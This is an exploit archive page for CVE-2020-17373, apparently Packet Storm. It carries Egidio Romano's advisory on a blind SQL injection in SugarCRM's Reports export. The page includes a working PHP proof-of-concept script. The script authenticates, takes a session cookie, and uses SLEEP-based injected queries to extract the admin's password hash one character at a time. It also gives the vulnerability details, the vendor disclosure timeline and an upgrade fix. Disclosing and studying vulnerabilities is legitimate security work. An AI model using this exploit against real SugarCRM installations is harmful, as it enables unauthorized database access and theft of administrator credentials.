SugarCRM SQL Injection

Authored by EgiX

Posted Aug 12, 2020

SugarCRM versions prior to 10.1.10 suffer from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2020-17373
SHA-256 | dcd6f8e1b431c4d591d3fca6cf750508720c3bcb8fd317bf29a73f62c5ce15b8 Download | Favorite | View

Related Files

Change Mirror Download

```
SugarCRM < 10.1.0 (Reports Export) SQL Injection Vulnerability

*• Software Link:*

https://www.sugarcrm.com

*• Affected Versions:*

All versions prior to 10.1.0 (Q3 2020).

*• Vulnerability Description:*

User input passed through the encoded "current_post" parameter to
'index.php' (when "entryPoint" is set to "export" and "module" is set to
"Reports") is not properly sanitized before being used to construct a SQL
query. This can be exploited by remote attackers to e.g. read sensitive
data from the database through e.g. time-based SQL Injection attacks.

*• Proof of Concept:*

http://karmainsecurity.com/pocs/CVE-2020-17373

-- start poc --

\n"; print "\nExample....: php $argv[0] http://localhost/sugarcrm/ sarah sarah"; print "\nExample....: php
$argv[0] https://test.trial.sugarcrm.eu/ jim jim\n\n"; die(); } list($url, $user, $pass) = [$argv[1], $argv[2],
$argv[3]]; print "[-] Logging in with username '{$user}' and password '{$pass}'\n"; $ch = curl_init(); $params
= ["username" => $user, "password" => $pass, "grant_type" => "password", "client_id" => "sugar"];
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/oauth2/token"); curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params)); curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-
Type: application/json"]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch,
CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 3); if (($token =
(json_decode(curl_exec($ch)))->access_token) == null) die("[-] Login failed!\n"); print "[-] Retrieving
PHPSESSID cookie...\n"; curl_setopt($ch, CURLOPT_URL, "{$url}rest/v10/oauth2/bwc/login"); curl_setopt($ch,
CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, ""); curl_setopt($ch, CURLOPT_HTTPHEADER, ["OAuth-
Token: {$token}"]); curl_setopt($ch, CURLOPT_HEADER, true); if (!preg_match("/PHPSESSID=([^;]+);/",
curl_exec($ch), $sid)) die("[-] Session ID not found!\n"); curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Cookie: PHPSESSID={$sid[1]}", "Referer: {$url}"]); print "[-] Starting
time-based Blind SQL Injection attack...\n"; $chars = [0x2e, 0x2f]; // slash and dot $chars =
array_merge($chars, range(48, 57)); // 0-9 $chars = array_merge($chars, range(65, 90)); // A-Z $chars =
array_merge($chars, range(97, 122)); // a-z $index = 8; $hash = "$2y$10$"; $sql = "(SELECT
IF(ORD(SUBSTR(user_hash,%d,1))=%d,SLEEP(3),0) FROM users LIMIT 1"; while ($index <= 60) { for ($i = 0, $n =
count($chars); $i <= $n; $i++) { if ($i == $n) die("\n[-] Exploit failed :(\n"); print "\r[-] The admin's
password hash is: {$hash}".chr($chars[$i]); $s = sprintf($sql, $index, $chars[$i]); $s =
base64_encode(serialize(["team_id" => "1) AND {$s}"])); curl_setopt($ch, CURLOPT_URL, "{$url}index.php?
entryPoint=export&module=Reports&t_post={$s}"); $start = get_time(); curl_exec($ch); if ((get_time() - $start)
>= 3) { $hash .= chr($chars[$i]); break; } } $index++; } print "\n[-] Done!\n";

-- end poc --

*• Solution:*

Upgrade to version 10.1.0 (Q3 2020) or later.

*• Disclosure Timeline:*

[05/02/2020] - Vendor notified
[06/02/2020] - Automatic vendor response received
[26/03/2020] - Vendor contacted again; no response
[17/04/2020] - Vendor contacted again; no response
[18/06/2020] - Vendor notified about a 180-day disclosure deadline
[03/08/2020] - After around 180 days the vendor silently fix the issue
[06/08/2020] - CVE number assigned
[10/08/2020] - Public disclosure

*• CVE Reference:*

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2020-17373
<http://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-17373> to this
vulnerability.

*• Credits:*

Vulnerability discovered by Egidio Romano.
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 150 files
Ubuntu 68 files
LiquidWorm 23 files
Debian 16 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 6 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed